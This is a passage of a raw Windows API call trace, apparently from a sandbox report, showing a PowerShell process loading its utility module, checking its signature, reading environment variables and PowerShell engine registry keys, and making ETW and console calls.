"c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0123.614] GetFileType (hFile=0x86c) returned 0x1 [0123.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99acdf0) returned 1 [0123.614] GetFileType (hFile=0x86c) returned 0x1 [0123.614] WTGetSignatureInfo () returned 0x0 [0123.629] CertDuplicateCertificateContext (pCertContext=0x8c43cc0) returned 0x8c43cc0 [0123.629] CoTaskMemAlloc (cb=0x10) returned 0x8eacf90 [0123.629] CoTaskMemAlloc (cb=0x30) returned 0x8e5eff8 [0123.629] WinVerifyTrust () returned 0x0 [0123.630] CoTaskMemFree (pv=0x8e5eff8) [0123.630] CoTaskMemFree (pv=0x8eacf90) [0123.630] CertFreeCertificateContext (pCertContext=0x8c43cc0) returned 1 [0123.630] CloseHandle (hObject=0x86c) returned 1 [0123.630] CoCreateGuid (in: pguid=0x99ace30 | out: pguid=0x99ace30*(Data1=0x520a09a8, Data2=0x2d0c, Data3=0x4f6f, Data4=([0]=0xa5, [1]=0xf8, [2]=0x88, [3]=0x5c, [4]=0xa9, [5]=0x2b, [6]=0x4f, [7]=0x1f))) returned 0x0 [0123.650] CoCreateGuid (in: pguid=0x99ace30 | out: pguid=0x99ace30*(Data1=0xe2ff85c7, Data2=0x3b7c, Data3=0x4f50, Data4=([0]=0x85, [1]=0x87, [2]=0x4a, [3]=0x13, [4]=0x71, [5]=0x73, [6]=0x5, [7]=0x53))) returned 0x0 [0123.650] CoCreateGuid (in: pguid=0x99ace30 | out: pguid=0x99ace30*(Data1=0xbe928701, Data2=0x8ebe, Data3=0x4fe4, Data4=([0]=0xad, [1]=0x0, [2]=0x22, [3]=0x8b, [4]=0xea, [5]=0x47, [6]=0x96, [7]=0xea))) returned 0x0 [0123.659] CoCreateGuid (in: pguid=0x99ace30 | out: pguid=0x99ace30*(Data1=0xa7d960a9, Data2=0x593e, Data3=0x4e8e, Data4=([0]=0xa2, [1]=0x7, [2]=0xa1, [3]=0x0, [4]=0xb7, [5]=0x70, [6]=0x69, [7]=0x94))) returned 0x0 [0123.667] CoCreateGuid (in: pguid=0x99ace30 | out: pguid=0x99ace30*(Data1=0xa58df064, Data2=0xe935, Data3=0x477b, Data4=([0]=0x82, [1]=0xdf, [2]=0x88, [3]=0x6a, [4]=0x44, [5]=0xc5, [6]=0xa, [7]=0xc3))) returned 0x0 [0123.671] CoCreateGuid (in: pguid=0x99ace30 | out: pguid=0x99ace30*(Data1=0x7bc0139e, Data2=0x1351, Data3=0x41a7, Data4=([0]=0x90, [1]=0xd2, [2]=0x49, [3]=0xb3, [4]=0x34, [5]=0x9d, [6]=0xec, [7]=0x5f))) returned 0x0 [0123.671] CoCreateGuid (in: pguid=0x99ace30 | out: pguid=0x99ace30*(Data1=0xf4230251, Data2=0xae9f, Data3=0x49a4, Data4=([0]=0xb7, [1]=0x4b, [2]=0x11, [3]=0xa5, [4]=0xb1, [5]=0x8, [6]=0x65, [7]=0x58))) returned 0x0 [0123.671] CoTaskMemAlloc (cb=0x20e) returned 0x8e56990 [0123.671] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e56990, nSize=0x105 | out: lpBuffer="\xb900\x9e08\xe428\xece4\x4e06\x6850\x41b3\x7bc5\xaeeb\x8eb6\x81af\x22ba\x1f44\x3465\x4c69\x70be\x1740\x16f2\xe27b\xfd79\xed86\x390d\x1bf4\xada8\x9092\xcb1e\x763d\x5a8f\xb5d9\x1091\x3c2e\x8d05\x6d8a\x5424\x1fe7\x56ed\x83ad\x50b4\x159c\x17a5\x8874\x2059\x8fc\x84c5\xd376\xd468\x286f\xce78\xb85c\x50f3\x4490\xe3ff\x5f63\xa1be\x2c9a\x1596\xd604\xfe07\x841e\xe021\x3142\xc411\x3628\xcf94\xa450\x9e62\xd6c9\x71ab\xb200\xc5b\x96e6\xad4\x9624\xfff5\xd5c6\x1bb7\xcbd7\x21b7\xaf62\xdc12\x5da1\xe337\xfb1a\x461a\xc098\xc09b\x63e7\x2a1f\x9308\x7e02\x6a1e\xf28e\x189f\xe489\x8522\xb1a2\x5784\xff40\xef5\x6fd8\xed9c\x45e2\x131\x17cd\x7fe9\x81b0\xe345\x21aa\x2640\x72a1\xa7aa\x3c4f\x501\xee7e\x5883\x5eb1\x6306\x6299\x7891\xb782\x930d\x240c\xb46a\xdb1b\xec27\x955f\x3f04\x4a93\xf530\x1897\xa7b3\x19f9\x93a7\x1d33\xc801\x22db\x5c52\x25d7\x46c9\xa2f9\x87fb\x4359\x9bbe\xb162\x2d8d\x4486\x461a\x78ac\x7e61\x930\xaefa\xc489\x2a41\x6622\x9103\x4539\xc79c\xc8b\xcaa8\x2f0d\x52fb\xcea\x63f7\x2333\xfe9d\x1fb0\x67ad\xa7d6\x350\x4c6\x6370\x2cb5\x86b1\x435a\xfbb7\xf9ae\x296e\x216e\x4121\x626\xc98c\xeec3\xc2b0\x9385\xb9a1\xd985\x32e6\x4b6c\x3f4c\x5dd6\xe5a3\x9db5\xc377\xc09c\xb755\x74\xb8e3\xab38\x9783\xe150\x429a\x1d24\xc0c6\x30a3\x1ad1\xc85a\x3452\x73f7\xc7f1\x1f18\xad33\xec7a\x41cb\xf360\x9423\xc220\x4548\x5cac\xc651\x802e\xe2c2\x1577\x85bd\xed87\x9d36\x9196\xee\xa3b5\xec70\xe39f\x808d\x8368\xba76\x5daf\x5270\x1622\x66e2\xbafb\xc5b3\xf7c2\x2f3e\xa677\xdeca\xa6c1\x48c6\xc34c\x5137\xd323\xd727\x4eb8\x9670\xa1f0\x7644\x78af\x9acf\x66e1\x13") returned 0x0 [0123.671] CoTaskMemFree (pv=0x8e56990) [0123.674] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99acdc4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acdc4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.674] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99acd24*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acd24*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.674] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99acdb4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99acdb4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.676] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99acd50*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acd50*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.676] CoTaskMemAlloc (cb=0x20e) returned 0x8e55ca0 [0123.676] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e55ca0, nSize=0x105 | out: lpBuffer="\xb900\x9e08\xe428\xece4\x4e06\x6850\x41b3\x7bc5\xaeeb\x8eb6\x81af\x22ba\x1f44\x3465\x4c69\x70be\x1740\x16f2\xe27b\xfd79\xed86\x390d\x1bf4\xada8\x9092\xcb1e\x763d\x5a8f\xb5d9\x1091\x3c2e\x8d05\x6d8a\x5424\x1fe7\x56ed\x83ad\x50b4\x159c\x17a5\x8874\x2059\x8fc\x84c5\xd376\xd468\x286f\xce78\xb85c\x50f3\x4490\xe3ff\x5f63\xa1be\x2c9a\x1596\xd604\xfe07\x841e\xe021\x3142\xc411\x3628\xcf94\xa450\x9e62\xd6c9\x71ab\xb200\xc5b\x96e6\xad4\x9624\xfff5\xd5c6\x1bb7\xcbd7\x21b7\xaf62\xdc12\x5da1\xe337\xfb1a\x461a\xc098\xc09b\x63e7\x2a1f\x9308\x7e02\x6a1e\xf28e\x189f\xe489\x8522\xb1a2\x5784\xff40\xef5\x6fd8\xed9c\x45e2\x131\x17cd\x7fe9\x81b0\xe345\x21aa\x2640\x72a1\xa7aa\x3c4f\x501\xee7e\x5883\x5eb1\x6306\x6299\x7891\xb782\x930d\x240c\xb46a\xdb1b\xec27\x955f\x3f04\x4a93\xf530\x1897\xa7b3\x19f9\x93a7\x1d33\xc801\x22db\x5c52\x25d7\x46c9\xa2f9\x87fb\x4359\x9bbe\xb162\x2d8d\x4486\x461a\x78ac\x7e61\x930\xaefa\xc489\x2a41\x6622\x9103\x4539\xc79c\xc8b\xcaa8\x2f0d\x52fb\xcea\x63f7\x2333\xfe9d\x1fb0\x67ad\xa7d6\x350\x4c6\x6370\x2cb5\x86b1\x435a\xfbb7\xf9ae\x296e\x216e\x4121\x626\xc98c\xeec3\xc2b0\x9385\xb9a1\xd985\x32e6\x4b6c\x3f4c\x5dd6\xe5a3\x9db5\xc377\xc09c\xb755\x74\xb8e3\xab38\x9783\xe150\x429a\x1d24\xc0c6\x30a3\x1ad1\xc85a\x3452\x73f7\xc7f1\x1f18\xad33\xec7a\x41cb\xf360\x9423\xc220\x4548\x5cac\xc651\x802e\xe2c2\x1577\x85bd\xed87\x9d36\x9196\xee\xa3b5\xec70\xe39f\x808d\x8368\xba76\x5daf\x5270\x1622\x66e2\xbafb\xc5b3\xf7c2\x2f3e\xa677\xdeca\xa6c1\x48c6\xc34c\x5137\xd323\xd727\x4eb8\x9670\xa1f0\x7644\x78af\x9acf\x66e1\x13") returned 0x0 [0123.676] CoTaskMemFree (pv=0x8e55ca0) [0123.676] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99acdc4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acdc4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99acd24*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acd24*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99acdb4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99acdb4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99acd50*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acd50*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] CoTaskMemAlloc (cb=0x20e) returned 0x8e56318 [0123.677] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e56318, nSize=0x105 | out: lpBuffer="\xb900\x9e08\xe428\xece4\x4e06\x6850\x41b3\x7bc5\xaeeb\x8eb6\x81af\x22ba\x1f44\x3465\x4c69\x70be\x1740\x16f2\xe27b\xfd79\xed86\x390d\x1bf4\xada8\x9092\xcb1e\x763d\x5a8f\xb5d9\x1091\x3c2e\x8d05\x6d8a\x5424\x1fe7\x56ed\x83ad\x50b4\x159c\x17a5\x8874\x2059\x8fc\x84c5\xd376\xd468\x286f\xce78\xb85c\x50f3\x4490\xe3ff\x5f63\xa1be\x2c9a\x1596\xd604\xfe07\x841e\xe021\x3142\xc411\x3628\xcf94\xa450\x9e62\xd6c9\x71ab\xb200\xc5b\x96e6\xad4\x9624\xfff5\xd5c6\x1bb7\xcbd7\x21b7\xaf62\xdc12\x5da1\xe337\xfb1a\x461a\xc098\xc09b\x63e7\x2a1f\x9308\x7e02\x6a1e\xf28e\x189f\xe489\x8522\xb1a2\x5784\xff40\xef5\x6fd8\xed9c\x45e2\x131\x17cd\x7fe9\x81b0\xe345\x21aa\x2640\x72a1\xa7aa\x3c4f\x501\xee7e\x5883\x5eb1\x6306\x6299\x7891\xb782\x930d\x240c\xb46a\xdb1b\xec27\x955f\x3f04\x4a93\xf530\x1897\xa7b3\x19f9\x93a7\x1d33\xc801\x22db\x5c52\x25d7\x46c9\xa2f9\x87fb\x4359\x9bbe\xb162\x2d8d\x4486\x461a\x78ac\x7e61\x930\xaefa\xc489\x2a41\x6622\x9103\x4539\xc79c\xc8b\xcaa8\x2f0d\x52fb\xcea\x63f7\x2333\xfe9d\x1fb0\x67ad\xa7d6\x350\x4c6\x6370\x2cb5\x86b1\x435a\xfbb7\xf9ae\x296e\x216e\x4121\x626\xc98c\xeec3\xc2b0\x9385\xb9a1\xd985\x32e6\x4b6c\x3f4c\x5dd6\xe5a3\x9db5\xc377\xc09c\xb755\x74\xb8e3\xab38\x9783\xe150\x429a\x1d24\xc0c6\x30a3\x1ad1\xc85a\x3452\x73f7\xc7f1\x1f18\xad33\xec7a\x41cb\xf360\x9423\xc220\x4548\x5cac\xc651\x802e\xe2c2\x1577\x85bd\xed87\x9d36\x9196\xee\xa3b5\xec70\xe39f\x808d\x8368\xba76\x5daf\x5270\x1622\x66e2\xbafb\xc5b3\xf7c2\x2f3e\xa677\xdeca\xa6c1\x48c6\xc34c\x5137\xd323\xd727\x4eb8\x9670\xa1f0\x7644\x78af\x9acf\x66e1\x13") returned 0x0 [0123.677] CoTaskMemFree (pv=0x8e56318) [0123.677] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99acdc4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acdc4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99acd24*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acd24*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99acdb4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99acdb4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99acd50*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acd50*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] CoTaskMemAlloc (cb=0x20e) returned 0x8e55ca0 [0123.677] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e55ca0, nSize=0x105 | out: lpBuffer="\xb900\x9e08\xe428\xece4\x4e06\x6850\x41b3\x7bc5\xaeeb\x8eb6\x81af\x22ba\x1f44\x3465\x4c69\x70be\x1740\x16f2\xe27b\xfd79\xed86\x390d\x1bf4\xada8\x9092\xcb1e\x763d\x5a8f\xb5d9\x1091\x3c2e\x8d05\x6d8a\x5424\x1fe7\x56ed\x83ad\x50b4\x159c\x17a5\x8874\x2059\x8fc\x84c5\xd376\xd468\x286f\xce78\xb85c\x50f3\x4490\xe3ff\x5f63\xa1be\x2c9a\x1596\xd604\xfe07\x841e\xe021\x3142\xc411\x3628\xcf94\xa450\x9e62\xd6c9\x71ab\xb200\xc5b\x96e6\xad4\x9624\xfff5\xd5c6\x1bb7\xcbd7\x21b7\xaf62\xdc12\x5da1\xe337\xfb1a\x461a\xc098\xc09b\x63e7\x2a1f\x9308\x7e02\x6a1e\xf28e\x189f\xe489\x8522\xb1a2\x5784\xff40\xef5\x6fd8\xed9c\x45e2\x131\x17cd\x7fe9\x81b0\xe345\x21aa\x2640\x72a1\xa7aa\x3c4f\x501\xee7e\x5883\x5eb1\x6306\x6299\x7891\xb782\x930d\x240c\xb46a\xdb1b\xec27\x955f\x3f04\x4a93\xf530\x1897\xa7b3\x19f9\x93a7\x1d33\xc801\x22db\x5c52\x25d7\x46c9\xa2f9\x87fb\x4359\x9bbe\xb162\x2d8d\x4486\x461a\x78ac\x7e61\x930\xaefa\xc489\x2a41\x6622\x9103\x4539\xc79c\xc8b\xcaa8\x2f0d\x52fb\xcea\x63f7\x2333\xfe9d\x1fb0\x67ad\xa7d6\x350\x4c6\x6370\x2cb5\x86b1\x435a\xfbb7\xf9ae\x296e\x216e\x4121\x626\xc98c\xeec3\xc2b0\x9385\xb9a1\xd985\x32e6\x4b6c\x3f4c\x5dd6\xe5a3\x9db5\xc377\xc09c\xb755\x74\xb8e3\xab38\x9783\xe150\x429a\x1d24\xc0c6\x30a3\x1ad1\xc85a\x3452\x73f7\xc7f1\x1f18\xad33\xec7a\x41cb\xf360\x9423\xc220\x4548\x5cac\xc651\x802e\xe2c2\x1577\x85bd\xed87\x9d36\x9196\xee\xa3b5\xec70\xe39f\x808d\x8368\xba76\x5daf\x5270\x1622\x66e2\xbafb\xc5b3\xf7c2\x2f3e\xa677\xdeca\xa6c1\x48c6\xc34c\x5137\xd323\xd727\x4eb8\x9670\xa1f0\x7644\x78af\x9acf\x66e1\x13") returned 0x0 [0123.677] CoTaskMemFree (pv=0x8e55ca0) [0123.677] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99acdc4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acdc4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99acd24*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acd24*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.677] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99acdb4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99acdb4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.679] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99acd50*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99acd50*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.694] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae1c0 | out: phkResult=0x99ae1c0*=0x730) returned 0x0 [0123.694] RegQueryValueExW (in: hKey=0x730, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae1e0, lpData=0x0, lpcbData=0x99ae1dc*=0x0 | out: lpType=0x99ae1e0*=0x1, lpData=0x0, lpcbData=0x99ae1dc*=0x56) returned 0x0 [0123.694] RegQueryValueExW (in: hKey=0x730, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae1e0, lpData=0x69e2854, lpcbData=0x99ae1dc*=0x56 | out: lpType=0x99ae1e0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae1dc*=0x56) returned 0x0 [0123.694] RegCloseKey (hKey=0x730) returned 0x0 [0123.695] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae1c0 | out: phkResult=0x99ae1c0*=0x730) returned 0x0 [0123.695] RegQueryValueExW (in: hKey=0x730, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae1e0, lpData=0x0, lpcbData=0x99ae1dc*=0x0 | out: lpType=0x99ae1e0*=0x1, lpData=0x0, lpcbData=0x99ae1dc*=0x56) returned 0x0 [0123.695] RegQueryValueExW (in: hKey=0x730, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae1e0, lpData=0x69e2b78, lpcbData=0x99ae1dc*=0x56 | out: lpType=0x99ae1e0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae1dc*=0x56) returned 0x0 [0123.695] RegCloseKey (hKey=0x730) returned 0x0 [0123.695] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae1c0 | out: phkResult=0x99ae1c0*=0x730) returned 0x0 [0123.695] RegQueryValueExW (in: hKey=0x730, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae1e0, lpData=0x0, lpcbData=0x99ae1dc*=0x0 | out: lpType=0x99ae1e0*=0x1, lpData=0x0, lpcbData=0x99ae1dc*=0x56) returned 0x0 [0123.695] RegQueryValueExW (in: hKey=0x730, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae1e0, lpData=0x69e2e8c, lpcbData=0x99ae1dc*=0x56 | out: lpType=0x99ae1e0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae1dc*=0x56) returned 0x0 [0123.695] RegCloseKey (hKey=0x730) returned 0x0 [0123.695] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae1c0 | out: phkResult=0x99ae1c0*=0x730) returned 0x0 [0123.695] RegQueryValueExW (in: hKey=0x730, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae1e0, lpData=0x0, lpcbData=0x99ae1dc*=0x0 | out: lpType=0x99ae1e0*=0x1, lpData=0x0, lpcbData=0x99ae1dc*=0x56) returned 0x0 [0123.695] RegQueryValueExW (in: hKey=0x730, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae1e0, lpData=0x69e3188, lpcbData=0x99ae1dc*=0x56 | out: lpType=0x99ae1e0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae1dc*=0x56) returned 0x0 [0123.695] RegCloseKey (hKey=0x730) returned 0x0 [0123.695] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae36c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae36c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.695] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae3d0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae3d0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.695] SetEvent (hEvent=0x868) returned 1 [0123.695] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99ae59c*=0x868, lpdwindex=0x99ae3bc | out: lpdwindex=0x99ae3bc) returned 0x0 [0123.696] CoTaskMemAlloc (cb=0x20e) returned 0x8e55850 [0123.696] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e55850, nSize=0x105 | out: lpBuffer="ѝ") returned 0x0 [0123.696] CoTaskMemFree (pv=0x8e55850) [0123.696] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae694 | out: lpConsoleScreenBufferInfo=0x99ae694) returned 1 [0123.705] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae694 | out: lpConsoleScreenBufferInfo=0x99ae694) returned 1 [0123.714] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.714] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0123.714] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, 